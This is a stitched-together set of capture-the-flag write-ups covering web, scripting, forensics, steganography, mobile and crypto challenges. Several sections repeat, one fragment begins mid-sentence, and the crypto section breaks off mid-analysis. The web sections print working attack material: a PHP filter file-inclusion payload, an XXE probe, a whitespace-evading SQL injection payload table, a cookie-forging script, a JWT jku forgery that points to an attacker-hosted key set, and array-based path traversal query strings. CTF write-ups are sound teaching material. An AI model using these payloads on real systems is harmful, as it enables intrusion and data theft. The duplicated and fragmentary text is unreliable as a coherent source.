Nullam lobortis fringilla aliquam. Flag: flag{oof_is_right_why_gfxdata_though} # Steganography## KstegPoints: 50#### Description> This must be a typo.... it was kust one letter away!>>Download the file below. ### SolutionWe are given a jpg file. I tried running some tools, but nothing was working. Reading again the description I see that they misspelled `just` by writing `kust`. I also thought that the title challenge was the tool that was used, but I couldn't find it. Putting it all togheter, the tool must be called `jsteg`, not `ksteg`.This is the repository of the tool: https://github.com/lukechampine/jstegRunning `jsteg reveal luke.jpg` gave us the flag. ![image](https://user-images.githubusercontent.com/38787278/84628090-b4fbb400-aef0-11ea-9557-62b5ee614292.png) Flag: flag{yeast_bit_steganography_oops_another_typo} ## DohPoints: 50#### Description>Doh! Stupid steganography...>>Note, this flag is not in the usual format.>>Download the file below. ### SolutionWe are given a jpg file. We try running steghide to extract whatever might be hidden. First, we try it without a password. We're in luck. Steghide extracted the `flag.txt` file. ![image](https://user-images.githubusercontent.com/38787278/84628410-3eab8180-aef1-11ea-8bda-0bf27152a5bc.png) Flag: JCTF{an_annoyed_grunt}
---layout: default---# STEGO ## KSTEG ![](img/ksteg.png) With the challenge we get this JPEG image: ![](resource/luke.jpg) The challenge name and the challenge description clearly indicates that we need to use [Jsteg](https://github.com/lukechampine/jsteg) this is a tool used for hiding data in the least segnificant bit (LSB) of the bytes in the image > The image is actually an image of the creator of the tool (luke), ![](img/l.png) ## DOH A image was given and seriously what techniques was to be used I used [Steghide](http://steghid.sourceforge.net/download.php) to get the flag and no passphrase was required for this. ![](resource/doh.jpg) ```steghide extract -sf doh.jpg ``` This was the flag : **JCTF{an_annoyed_grunt}** ## Beep Boop ![](img/bb.png) An audio file was given and after listening to it I was sure that this are [DTMF](https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling) tones so I used this [dialabc](http://dialabc.com/sound/detect/index.html) to get the numbers. ```46327402297754110981468069185383422945309689772058551073955248013949155635325 ```After some observation I found it a decimal to hex converion : ![](img/bb1.png) and then hex to ascii ![](img/bb2.png) # FORENSICS ## MICROOSOFT we were just give a .docx file. **FLAG : flag{oof_is_right_why_gfxdata_though}** I first analyzed the file through binwalk, and got so many zipped files. ![](img/foren_1.png) Then extracted it , and bruteforced to get the flag. ![](img/foren_2.png)
##### Table of Contents- [Web](#web) - [Agent 95](#agent95) - [Localghost](#localghost) - [Phphonebook](#phphonebook) - [Official Business](#official-business) - [Extraterrestrial](#extraterrestrial) - [Rejected Sequel](#rejected-sequel) - [Flag jokes](#flag-jokes)- [Scripting](#Scripting) - [Rotten](#Rotten)- [Miscellaneous](#Miscellaneous) - [Vortex](#Vortex) - [Fake File](#Fake-File) - [Alkatraz](#Alkatraz)- [Mobile](#Mobile) - [Candroid](#Candroid) - [Simple App](#Simple-App)- [Forensics](#Forensics) - [Microsoft](#Microsoft)- [Steganography](#Steganography) - [Ksteg](#Ksteg) - [Doh](#Doh)<hr> # Web## Agent 95Points: 50 #### Description>They've given you a number, and taken away your name~>>Connect here:>http://jh2i.com:50000 ### Solution After accessing the site we get the next message: "You don't look like our agent!We will only give our flag to our Agent 95! He is still running an old version of Windows..." My guess is that we need to temper the User-Agent HTTP header with the value Windows 95. Doing so in Burp, we get the flag. ![agent 95](https://user-images.githubusercontent.com/38787278/84602110-b5af2e80-ae8d-11ea-8f5a-04eb405ed0fe.png) Flag: flag{user_agents_undercover} ## LocalghostPoints: 75 #### Description>BooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??>>Connect here:>http://jh2i.com:50003>>Note, this flag is not in the usual format. ### SolutionLooking around the page there is nothing interesting, but reading again the description I figure that there might be something in the local storage. Going there, I got the flag. ![ghos](https://user-images.githubusercontent.com/38787278/84602264-c8763300-ae8e-11ea-95af-644e45049489.png) Flag: JCTF{spoooooky_ghosts_in_storage} ## PhphonebookPoints: 100 #### Description>Ring ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!>>Connect here:>http://jh2i.com:50002 ### Solution The web page displays the next message: >Sorry! You are in /index.php/?file=>>The phonebook is located at phphonebook.php Going to `http://jh2i.com:50002/index.php/?file=phphonebook.php` we can see that there's not much going on, so we need more information. Seeing the `file` parameter I though I can do a local file inclusion.I tested it with `file=/etc/passwd`, but it didn't work. I didn't give up and tried to do a LFI with php wrappers.Providing the next payload we got the content of phphonebook.php in base64: `http://jh2i.com:50002/index.php/?file=php://filter/convert.base64-encode/resource=phphonebook.php`Base64 string returned: ` PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CgogIDxib2R5IGNsYXNzPSJiZyI+CiAgICA8aDEgaWQ9ImhlYWRlciI+IFdlbGNvbWUgdG8gdGhlIFBocGhvbmVib29rIDwvaDE+CgogICAgPGRpdiBpZD0iaW1fY29udGFpbmVyIj4KCiAgICAgIDxpbWcgc3JjPSJib29rLmpwZyIgd2lkdGg9IjUwJSIgaGVpZ2h0PSIzMCUiLz4KCiAgICAgIDxwIGNsYXNzPSJkZXNjIj4KICAgICAgVGhpcyBwaHBob25lYm9vayB3YXMgbWFkZSB0byBsb29rIHVwIGFsbCBzb3J0cyBvZiBudW1iZXJzISBIYXZlIGZ1bi4uLgogICAgICA8L3A+CgogICAgPC9kaXY+Cjxicj4KPGJyPgogICAgPGRpdj4KICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiMiPgogICAgICAgIDxsYWJlbCBpZD0iZm9ybV9sYWJlbCI+RW50ZXIgbnVtYmVyOiA8L2xhYmVsPgogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJudW1iZXIiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiPgogICAgICA8L2Zvcm0+CiAgICA8L2Rpdj4KCiAgICA8ZGl2IGlkPSJwaHBfY29udGFpbmVyIj4KICAgIDw/cGhwCiAgICAgIGV4dHJhY3QoJF9QT1NUKTsKCiAgICAJaWYgKGlzc2V0KCRlbWVyZ2VuY3kpKXsKICAgIAkJZWNobyhmaWxlX2dldF9jb250ZW50cygiL2ZsYWcudHh0IikpOwogICAgCX0KICAgID8+CiAgPC9kaXY+CiAgPC9icj4KICA8L2JyPgogIDwvYnI+CgoKPGRpdiBzdHlsZT0icG9zaXRpb246Zml4ZWQ7IGJvdHRvbToxJTsgbGVmdDoxJTsiPgo8YnI+PGJyPjxicj48YnI+CjxiPiBOT1QgQ0hBTExFTkdFIFJFTEFURUQ6PC9iPjxicj5USEFOSyBZT1UgdG8gSU5USUdSSVRJIGZvciBzdXBwb3J0aW5nIE5haGFtQ29uIGFuZCBOYWhhbUNvbiBDVEYhCjxwPgo8aW1nIHdpZHRoPTYwMHB4IHNyYz0iaHR0cHM6Ly9kMjR3dXE2bzk1MWkyZy5jbG91ZGZyb250Lm5ldC9pbWcvZXZlbnRzL2lkLzQ1Ny80NTc3NDgxMjEvYXNzZXRzL2Y3ZGEwZDcxOGViNzdjODNmNWNiNjIyMWEwNmEyZjQ1LmludGkucG5nIj4KPC9wPgo8L2Rpdj4KCiAgPC9ib2R5Pgo8L2h0bWw+`After decoding it we find out what we need to do fo getting the flag. ![phphonebook](https://user-images.githubusercontent.com/38787278/84602928-4fc5a580-ae93-11ea-8eec-b2de7ba55465.png) Making a POST request to `http://jh2i.com:50002/phphonebook.php` with the body `emergency=true` gave us the flag. ![image](https://user-images.githubusercontent.com/38787278/84603021-f0b46080-ae93-11ea-8e88-2bdc650ee24e.png) Flag: flag{phon3_numb3r_3xtr4ct3d} ## Official BusinessPoints: 125 #### Description>Are you here on official business? Prove it.>>Connect here:>http://jh2i.com:50006 ### SolutionThe main web page shows us a login form and told us that we need to login in as admin to continue.Checking the `robots.txt` file we see the code used for authenticating.Here is the code that makes the login:```[email protected]("/login", methods=["POST"])def login(): user = request.form.get("user", "") password = request.form.get("password", "") if ( user != "hacker" or hashlib.sha512(bytes(password, "ascii")).digest() != b"hackshackshackshackshackshackshackshackshackshackshackshackshack" ): return abort(403) return do_login(user, password, True)``` As you can see, there's no way we can provide a passwod that will result in that hash. So it must be something else. ```[email protected]("/")def index(): ok, cookie = load_cookie() if not ok: return abort(403) return render_template( "index.html", user=cookie.get("user", None), admin=cookie.get("admin", None), flag=FLAG, ) def load_cookie(): cookie = {} auth = request.cookies.get("auth") if auth: try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest") if ( digest != hashlib.sha512( app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass return True, cookie``` At this point it's clear we need to forge the cookie to login as admin.There's a bug in this code. In `do_login` we can see that the value for `cookie["digest"]` is obtained by concatenating the secret key to the rest of the keys from the cookie.The thing is that in `load_cookie` the digest is compared with the sha512 of `secret_key + bytes(json.dumps(cookie, sort_keys=True)` and basically the secret key doesn't matter.We can make a cookie with any values and it will pass the verification from `load_cookie`. The secret key is used wrong here and we can abuse that by crafting our own cookie.I wrote the next script that does that. ```pythonimport binasciiimport hashlibimport json secret_key = b'suchsecretwow' def do_login(user, password, admin): cookie = {"user": user, "password": password, "admin": admin} cookie["digest"] = hashlib.sha512( secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() cookie_value = binascii.hexlify(json.dumps(cookie).encode("utf8")) return cookie_value def load_cookie(user, password): cookie = {} auth = do_login(user, password, True) if auth: try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest") if ( digest != hashlib.sha512( secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass return True, cookie cookie_t = load_cookie('hacker', 'a')``` After adding the cookie with the value returned by `do_login` from our script we get the flag. ![image](https://user-images.githubusercontent.com/38787278/84603607-3bd07280-ae98-11ea-8aea-85a02076e583.png) Flag: flag{did_this_even_pass_code_review} ## ExtraterrestrialPoints: 125 #### Description>Have you seen any aliens lately? Let us know!>>The flag is at the start of the solar system.>>Connect here:>http://jh2i.com:50004 ### SolutionWhen accessing the page we are prompted with the next form: ![image](https://user-images.githubusercontent.com/38787278/84603718-2f004e80-ae99-11ea-8a63-c6e4e569a0ad.png) I tried some XSS vectors at first and I got a wierd error. For `` the server returned `Space required`.When I insert `<script>alert(1)</script>` the server returned `array(0) {}`. After some more tries I started thinking that is not about XSS.The next thing that came to my mind was XXE. I went to https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection and tried the first payload for returning a file: `]><root>&tes;;</root>`.That weird arry response from the server not looked like this: ![image](https://user-images.githubusercontent.com/38787278/84603814-21979400-ae9a-11ea-9765-904a9ec6f014.png) Cool. Reading again the description, we try to use the next info:>The flag is at the start of the solar system. This must mean that the flag is located under `/`.The payload `]><root>&tes;;</root>` gave us the flag. ![image](https://user-images.githubusercontent.com/38787278/84603866-8bb03900-ae9a-11ea-956e-8e3377c7d548.png) Flag: flag{extraterrestrial_extra_entities} ## Rejected Sequel Points: 150 #### Description>Look at all these movie sequels that never got released! Will yours make it through??>>Connect here:>http://jh2i.com:50008 ### Solution Going to the web page we see that we have a form for searching moovies by name. Poking around, I see the next comment: `` Interesting. Fuzzing a little the search input I received an error message from MySQL. Nice.Still, something was odd. Adding the debug parameter in my GET request I saw that the whitespaces were removed. For example, searching for `gone home` returned me this: ![image](https://user-images.githubusercontent.com/38787278/84604100-4bea5100-ae9c-11ea-9183-e75c73c5443f.png) After playing a liitle around I discovered that I can use `/**/` instead of spaces and it will work just fine.At this point is just a common SQL Injection attack were all the wite spaces are replaced with `/**/`.Payload | Information gained------- | ------------------`"order/**/ by/**/2#` | Single column queried`"union/**/select/**/schema_name/**/from/**/information_schema.schemata#` | Database name: rejected_sequel`"union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema="rejected_sequel"#` | Two tables: *flag*, *movies*`"union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name="flag"#` | Columns from flag table: *flag*`"union/**/select/**/flag/**/from/**/flag#` | The values from the column *flag* from table *flag* ![image](https://user-images.githubusercontent.com/38787278/84604333-e6975f80-ae9d-11ea-9134-8dc1a4dd190e.png) Flag: flag{at_least_this_sequel_got_published} ## Flag JokesPoints: 200 #### Description >Want to hear a joke? Want the flag? How about both? Why don't YOU tell me a joke!>>Note, it is recommended to clear your cookies for this challenge as some may have the same names used in other challenges.>>Connect here:>http://jh2i.com:50010 ### Solution The page displays a form where you can login by only providing an username. We need to login as admin, but we can't do it directly.Providing any other username we are prompted with the next page: ![image](https://user-images.githubusercontent.com/38787278/84604434-be5c3080-ae9e-11ea-9d3d-4876b1d39be1.png) Let's take a look at what cookie we have. It seems that the authentication mechanism is based on JWT. Puttin the value in Burp we get the next output: ![image](https://user-images.githubusercontent.com/38787278/84604518-493d2b00-ae9f-11ea-86fc-a586ae2b960e.png) Reading this article https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a I thought that maybe this token is exploitable by changing the *jku* value.Using https://github.com/ticarpi/jwt_tool I tried to exploit it by first changing the username into *admin* and after that by generating a new JSON Web Keys Set.The output from JWT_tool.py:```textYour new forged token:(Signed with: private_jwttool_RSA_1592044374.pem)[+] eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vZW5hYTBpaGoxdW91dDZqLm0ucGlwZWRyZWFtLm5ldC9qd2tzLmpzb24iLCJraWQiOiJrZXlpZHNhbXBsZSJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.K0hK28hR4wPhRch7PrQ-eh8mM_8_zewdL1ErHg-YCvqdypTl4eRN_fvol9fG7PAORYOzfWEHM3OuiGGg6Jd22Ii8xz025rb_0vhRO7kdZVgKEJblAUd8shJjCe3WmT_HEj83LPg0OhhRqD3QpcWgu62mvVuL-vKXIE13gz1wjT_PzVH4O6jqgIFj-WC5WMgOxP3-NiybAnORlCzpzv31qeWoAawXgiiC_PFlAZfjOfREHa8kSR_mufjOhgEbjO9fZsMrm7KJQzQup8O1OFzmdjiaScmsw8e-Bbo66QSkPoonbpDmLu9v8aUH1v4waDZ0IoutdMY2ItbVQ5IbRXv2OQ Paste this JWKS into a new file at the following location: https://enaa0ihj1uout6j.m.pipedream.net/jwks.json(Also exported as: jwks_jwttool_RSA_1592044374.json)[+]{ "kty":"RSA", "kid":"keyidsample", "use":"sig", "e":"AQAB", "n":"t_VtloNSQtuAB8wxqlfXGiDRPO2rUG1-BgMidCPKay6efk-yUOV15k1-mtcOfukyzy41FhuG_Izk8qk5tSbl0vzG6el0bm4gkq7cT_vZF3buFVnu77d7-_we8imyNKimqanzbmdQeLNl8PpOME2xrZIGPZEG9tsXoIbtrnAjKHlqnxAdETPv9crzDzTJDRdVhOifTD7OqV6edsRlCZVnS5XwGstsbMBKAfSjfe3OIjj-5e6cX_wHsGPIMrN4xR41Lz0nbwIG3djYHL5fbKiLuEMJFS9NzBwcoLfYq6Xer2C5coTn5cUJLUpGKrg7lSZo2SvZLFzegq0gOPwmIfDpkQ"} ``` I hosted the content key inside a flow from https://pipedream.com/ and set the new token in browser. ![image](https://user-images.githubusercontent.com/38787278/84604707-a5547f00-aea0-11ea-9302-b3662771d543.png) After hitting refresh I got the flag. ![image](https://user-images.githubusercontent.com/38787278/84604748-ddf45880-aea0-11ea-9b47-f3a9c1f92c03.png) Flag: flag{whoops_typo_shoulda_been_flag_jwks} # Scripting ## Rotten Points: 100 #### Description>Ick, this salad doesn't taste too good!>>Connect with:>nc jh2i.com 50034 ### Solution Running nc jh2i.com 50034 we are asked to return exactly the response. > send back this line exactly. no flag here, just filler. After doing so for a few times we get `jveu srtb kyzj czev vortkcp. ef wcrx yviv, aljk wzccvi.` which seems to be a variation of ROT13 or Ceaser cypher. Sending exactly this message back will close the connection, so we need to decode it first and only afterwards send it. PLaying a liitle more I received the next message: > fraq onpx guvf yvar rknpgyl. punenpgre 2 bs gur synt vf 'n' Which decoded with ROT13 will become `send back this line exactly. character 2 of the flag is 'a'`. Nice, so we got an idea of how this works. We need to keep replying with the decoded line and extract the chars for building the flag on the way. The implementation for the ROTN decoding function is from here: https://eddmann.com/posts/implementing-rot13-and-rot-n-caesar-ciphers-in-python/ My final script: ```pythonimport pwnimport refrom string import ascii_lowercase as lc, ascii_lowercase as uc def rot_alpha(n): lookup = str.maketrans(lc + uc, lc[n:] + lc[:n] + uc[n:] + uc[:n]) return lambda s: s.translate(lookup) flag = dict()base_positoin = ascii_lowercase.find('s')r_position = re.compile('[0-9]{1,2}')r_letter = re.compile('\'.\'') conn = pwn.remote('jh2i.com', 50034)line = conn.recvline()conn.send(line) while True: rotted = conn.recvline().decode('utf-8') rot_letter = lc.find(rotted[0]) rot_number = base_positoin - rot_letter reversed_line = rot_alpha(rot_number)(rotted) if len(r_position.findall(reversed_line)) > 0: key = r_position.findall(reversed_line)[0] value = r_letter.findall(reversed_line)[0].replace('\'', '') flag[key] = value conn.send(reversed_line)``` Since I don't know th size of the flag I opted for running in debug mode and trying to build the flag after a few minutes. ![image](https://user-images.githubusercontent.com/38787278/84624824-c477fe80-aeea-11ea-814e-ad9ceb4ce86d.png) Flag: flag{now_you_know_your_caesars} ## Miscellaneous### VortexPoints: 75#### Description>Will you find the flag, or get lost in the vortex?>>Connect here:>nc jh2i.com 50017 ### SolutionConnecting with netcat we get a lot of garbage. I let it connected for 1 minute and I received in continue chunk of bytes. So, my guess is that we need to find the flag in all that mess. This small script will do the job: ```pythonimport pwn conn = pwn.remote('jh2i.com', 50017)line = b'' while True: if b'flag' in line: print(line) break line = conn.recvline() conn.close()``` ![image](https://user-images.githubusercontent.com/38787278/84625380-d017f500-aeeb-11ea-9154-43b1ff2fa6b3.png) Flag: flag{more_text_in_the_vortex} ## Fake FilePoints: 100#### Description>Wait... where is the flag?>>Connect here:>nc jh2i.com 50026 ### SolutionConnecting with netcat we get a bash. Poking around I couldn't find anything interesting so I went with `grep -r flag{ /` and we find the flag in `/home/user/..`. ![image](https://user-images.githubusercontent.com/38787278/84625748-8e3b7e80-aeec-11ea-8b03-5e78b8d074fc.png) Flag: flag{we_should_have_been_worried_about_u2k_not_y2k} ## AlkatrazPoints: 100#### Description>We are so restricted here in Alkatraz. Can you help us break out?>>Connect here:>nc jh2i.com 50024 ### SolutionConnecting with netcat we get a bash, but we only have access to `ls` command. We are also restricted to run commands if `/` is in theirs names. ![image](https://user-images.githubusercontent.com/38787278/84625985-f38f6f80-aeec-11ea-8e23-6c16e6bc5899.png) We solve this by reading the file with bash scripting. ![image](https://user-images.githubusercontent.com/38787278/84626065-1de12d00-aeed-11ea-9d0c-addc9d0ea338.png) Flag: flag{congrats_you_just_escaped_alkatraz} # Mobile## CandroidPoints: 50#### Description>I think I can, I think I can!>>Download the file below. ### SolutionWe are given an apk file. I tried running strings on it and it gave me the flag. ![image](https://user-images.githubusercontent.com/38787278/84626592-08b8ce00-aeee-11ea-9401-fe1cff01cbf9.png) Flag: flag{4ndr0id_1s_3asy} ## Simple AppPoints: 50#### Description>Here's a simple Android app. Can you get the flag?>>Download the file below. ### SolutionWe are given an apk file. I decompiled it using `apktool d simple-app.apk` and after that I ran `grep -r flag{ .` and got the flag. ![image](https://user-images.githubusercontent.com/38787278/84626827-7f55cb80-aeee-11ea-98e1-2aae86b4f97a.png) Flag: flag{3asY_4ndr0id_r3vers1ng} # Forensics## MicrosoftPoints: 100#### Description>We have to use Microsoft Word at the office!? Oof...>>Download the file below. ### SolutionWe are given a .docx file. Running file we see that is a `Microsoft OOXML` file, so nothing interesting. We try running binwalk to see if there are hidden files inside. We are in luck, there are. Now we run `grep -r flag .` inside the extracted directory and we get the flag:>./src/oof.txt:Sed eget sem mi. Nunc ornare tincidunt nulla quis imperdiet. Donec quis dignissim lorem, vel dictum felis. Morbi blandit dapibus lorem nec blandit. Pellentesque ornare auctor est, vitae ultrices nulla efficitur quis. *flag{oof_is_right_why_gfxdata_though}* Morbi vel velit vel sem malesuada volutpat interdum ut elit. Duis orci nisl, suscipit non maximus sit amet, consectetur at diam. Vestibulum cursus odio vitae eros mollis sodales. Ut scelerisque magna diam, sit amet porttitor massa tincidunt tempus. Vivamus libero nulla, facilisis id faucibus sit amet, ultricies non dolor. Maecenas ornare viverra dui, nec vestibulum nisl pretium id. Nam fringilla maximus quam non porttitor. Curabitur eget ultricies metus. Nunc hendrerit dolor non nulla volutpat sollicitudin. Suspendisse hendrerit odio nec luctus venenatis. Nullam lobortis fringilla aliquam. Flag: flag{oof_is_right_why_gfxdata_though} # Steganography## KstegPoints: 50#### Description> This must be a typo.... it was kust one letter away!>>Download the file below. ### SolutionWe are given a jpg file. I tried running some tools, but nothing was working. Reading again the description I see that they misspelled `just` by writing `kust`. I also thought that the title challenge was the tool that was used, but I couldn't find it. Putting it all togheter, the tool must be called `jsteg`, not `ksteg`.This is the repository of the tool: https://github.com/lukechampine/jstegRunning `jsteg reveal luke.jpg` gave us the flag. ![image](https://user-images.githubusercontent.com/38787278/84628090-b4fbb400-aef0-11ea-9557-62b5ee614292.png) Flag: flag{yeast_bit_steganography_oops_another_typo} ## DohPoints: 50#### Description>Doh! Stupid steganography...>>Note, this flag is not in the usual format.>>Download the file below. ### SolutionWe are given a jpg file. We try running steghide to extract whatever might be hidden. First, we try it without a password. We're in luck. Steghide extracted the `flag.txt` file. ![image](https://user-images.githubusercontent.com/38787278/84628410-3eab8180-aef1-11ea-8bda-0bf27152a5bc.png) Flag: JCTF{an_annoyed_grunt}
# Monster issue > Agent,> > We've got a case of industrial espionage, quite an unusual one at that.An international building contractor - Hamilton-Lowe, has written to usthat they are having their private client contracts leaked.> > After conducting initial incident response, they managed to find a hiddendirectory on one of their public facing web-servers. However, the strangething is, instead of having any sensitive documents, it was full of mp3 musicfiles.> > This is a serious affair as Hamilton-Lowe constructs facilities for high-profile clients such as the military, which means having building schematics leaked fromthem could lead to a lapse in national security.> > We have attached one of these mp3 files, can you examine it and see if there is any hidden information inside? Attached is a file `aero_chord.mp3`. ## Description `file aero_chord.mp3` says this is a valid `mp3` file. After looking a little bit at it in Audacity, I run `binwalk` on it. ![binwalk](../images/monster_binwalk.png) Yes, I find a JPEG image and a Zip archive. ## Solution First I try to extract them using `binwalk -e aero_chord.mp3`. This extract the Zip archive but not the image. After extracting the image manually, I found out the image is just the album cover of the song. Then I unzip the archive. A file `OwO.wav` is extracted. I open it in Audacity. ![owo](../images/monster_owo.png) First it looked like some sort of 5-bit or 4-bit code, so I tried Baudot, morse or Bacon but had no result. Actually I needed to display the spectogram of the file in Audacity: ![spectogram](../images/monster_spectogram.png) And yes, here I get a password! But I don't know where to input it yet. So I once again run `binwalk` on `Owo.wav`. ![binwalk](../images/monster_binwalk_owo.png) This looks good, some archive with a name `flag.png`! Let's extract the archive using `binwalk -e OwO.wav`. Then I try to unzip it with `unzip 2BF04.zip`, but I get the following error: ```skipping: flag.png need PK compat. v5.1 (can do v4.6)``` Well this kind of errors come when a password needs to be given. So I try instead `7z x 2BF04.zip` and then I need to enter a password. I enter the password found earlier and here is the flag! ![flag](../images/monster_flag.png) Flag: `ractf{M0nst3rcat_In5tin3t}`
## Owner: > CaptainFreak #### Solved? -Yes #### Tried: 1. Gynvael's node challenges helped in quickly solving this. #### Solutions: 1. Express itslef uses npm package `qs` for parsing the query parameter and creating `req.query` object. It uses it with option of option of allowPrototypes by default for having query paramters as JS arrays and Objects. References: a. Express Code: https://github.com/expressjs/express/blob/master/lib/middleware/query.js#L36b. QS security considerations: https://www.npmjs.com/package/qs#parsing-objects Challenges had following code: ```javascriptconst express = require('express')const path = require('path')const app = express() //Don't forget to redact from published sourceconst flag = '[REDACTED]' app.get('/', (req, res) => { res.redirect('/page?path=index.html')}) app.get('/page', (req, res) => { let path = req.query.path console.log(path) //Handle queryless request if(!path || !strip(path)){ res.redirect('/page?path=index.html') return } path = strip(path) path = preventTraversal(path) res.sendFile(prepare(path), (err) => { if(err){ if (! res.headersSent) { try { res.send(strip(req.query.path) + ' not found') } catch { res.end() } } } })}) //Prevent directory traversal attackfunction preventTraversal(dir){ if(dir.includes('../')){ let res = dir.replace('../', '') return preventTraversal(res) } //In case people want to test locally on windows if(dir.includes('..\\')){ let res = dir.replace('..\\', '') return preventTraversal(res) } return dir} //Get absolute path from relative pathfunction prepare(dir){ console.log(path.resolve('./public/' + dir)) return path.resolve('./public/' + dir)} //Strip leading charactersfunction strip(dir){ const regex = /^[a-z0-9]$/im //Remove first character if not alphanumeric if(!regex.test(dir[0])){ if(dir.length > 0){ return strip(dir.slice(1)) } return '' } return dir} app.listen(3000, () => { console.log('listening on 0.0.0.0:3000')}) ``` so if we pass path[]=a&path[]=/../../index.js req.path will become ```req.path = ['a', '/../../index.js']``` and strip() will now work on path[0] = 'a' path.includes('../') in `preventTraversal` will fail because this array does not include that string. but when and array is concatenated with string, its converted into string before, so path will become './public' + 'a,/../../index.js' = './publica,/../../index.js' which when resolving will point to index.js where our flag is present.
## Owner: > CaptainFreak #### Solved? -Yes #### Tried: 1. Was straighforward JSON injection. #### Solutions: 1. Challenges had following code: ```javascriptglobal.__rootdir = __dirname; const express = require('express');const bodyParser = require('body-parser');const cookieParser = require('cookie-parser');const path = require('path');const crypto = require('crypto'); require('dotenv').config(); const INTEGRITY = '12370cc0f387730fb3f273e4d46a94e5'; const app = express(); app.use(bodyParser.json({ extended: false }));app.use(cookieParser()); app.post('/api/login', async (req, res) => { if (!req.body.username || typeof req.body.username !== 'string') { res.status(400); res.end(); return; } res.json({'token': await generateToken(req.body.username)}); res.end;}); app.get('/api/validate', async (req, res) => { if (!req.cookies.token || typeof req.cookies.token !== 'string') { res.json({success: false, error: 'Invalid token'}); res.end(); return; } const result = await decodeToken(req.cookies.token); if (!result) { res.json({success: false, error: 'Invalid token'}); res.end(); return; } res.json({success: true, token: result});}); app.get('/api/flag', async (req, res) => { if (!req.cookies.token || typeof req.cookies.token !== 'string') { res.json({success: false, error: 'Invalid token'}); res.end(); return; } const result = await decodeToken(req.cookies.token); if (!result) { res.json({success: false, error: 'Invalid token'}); res.end(); return; } if (!result.member) { res.json({success: false, error: 'You are not a member'}); res.end(); return; } res.json({success: true, flag: process.env.FLAG});}); app.use(express.static(path.join(__dirname, '/public'))); app.listen(process.env.PORT || 3000); async function generateToken(username) { const algorithm = 'aes-192-cbc'; const key = Buffer.from(process.env.KEY, 'hex'); // Predictable IV doesn't matter here const iv = Buffer.alloc(16, 0); const cipher = crypto.createCipheriv(algorithm, key, iv); const token = `{"integrity":"${INTEGRITY}","member":0,"username":"${username}"}` let encrypted = ''; encrypted += cipher.update(token, 'utf8', 'base64'); encrypted += cipher.final('base64'); return encrypted;} async function decodeToken(encrypted) { const algorithm = 'aes-192-cbc'; const key = Buffer.from(process.env.KEY, 'hex'); // Predictable IV doesn't matter here const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv(algorithm, key, iv); let decrypted = ''; try { decrypted += decipher.update(encrypted, 'base64', 'utf8'); decrypted += decipher.final('utf8'); } catch (error) { return false; } let res; try { res = JSON.parse(decrypted); } catch (error) { console.log(error); return false; } if (res.integrity !== INTEGRITY) { return false; } return res;} ``` 2. Author tried to fool around with Crypto code but, const token = `{"integrity":"${INTEGRITY}","member":0,"username":"${username}"}` Makes clear that we can set member:1 which is needed to get flag. by passing injection in username as `freak", "member": 1, "asd": "asd` due to JSON.parse, last. occrance gets considered.
# pseudo-key**Category:** Crypto **Points:** 341 **Description:**> Keys are not always as they seem...>> **Note:** Make sure to wrap the plaintext with `flag{}` before you submit!>> **Author:** Boolean>> **Given:** pseudo-key-output.txt && pseudo-key.py ## WriteupFirst thing I do here is look at the files given to us. Looks like we are giventhe ciphertext and some "pseudo-key".```Ciphertext: z_jjaoo_rljlhr_gauf_twv_shaqzb_ljtyutPseudo-key: iigesssaemk``` From the program itself, it looks like our ciphertext is encrypted with some key, butwe are given the key encrypted with itself. Interesting...```#!/usr/bin/env python3 from string import ascii_lowercase chr_to_num = {c: i for i, c in enumerate(ascii_lowercase)}num_to_chr = {i: c for i, c in enumerate(ascii_lowercase)} def encrypt(ptxt, key): ptxt = ptxt.lower() key = ''.join(key[i % len(key)] for i in range(len(ptxt))).lower() ctxt = '' for i in range(len(ptxt)): if ptxt[i] == '_': ctxt += '_' continue x = chr_to_num[ptxt[i]] y = chr_to_num[key[i]] ctxt += num_to_chr[(x + y) % 26] return ctxt with open('flag.txt') as f, open('key.txt') as k: flag = f.read() key = k.read() ptxt = flag[5:-1] ctxt = encrypt(ptxt,key)pseudo_key = encrypt(key,key) print('Ciphertext:',ctxt)print('Pseudo-key:',pseudo_key)``` The encryption method pretty much takes the alphabetical number value of eachcharacter of the "plaintext", adds it to the alphabetical number value of the keyand wraps it around if the sum is greater than 26. This is where I was very twisted for a day or so. I overthought the hell out ofthis problem. We realized before that the key given to us is completely wrong and isjust the result of encrypting the key with itself. I figured out that each of thesecharacters in the key has a total of 2 possible values it could actually be. Let's take a look at the possible values of all 26 chars in the alphabet:```a: (0 + 0) % 26 = 0 (a)b: (1 + 1) % 26 = 2 (c)c: (2 + 2) % 26 = 4 (e)......m: (12 + 12) % 26 = 24 (y)n: (13 + 13) % 26 = 0 (a)o: (14 + 14) % 26 = 2 (c)p: (15 + 15) % 26 = 4 (e)``` We can see here that there are really only 13 possible characters that could bein the key. Let's get each possibility for our characters.```i = e | ri = e | rg = d | qe = c | ps = j | ws = j | ws = j | wa = a | ne = c | pm = g | tk = f | s``` 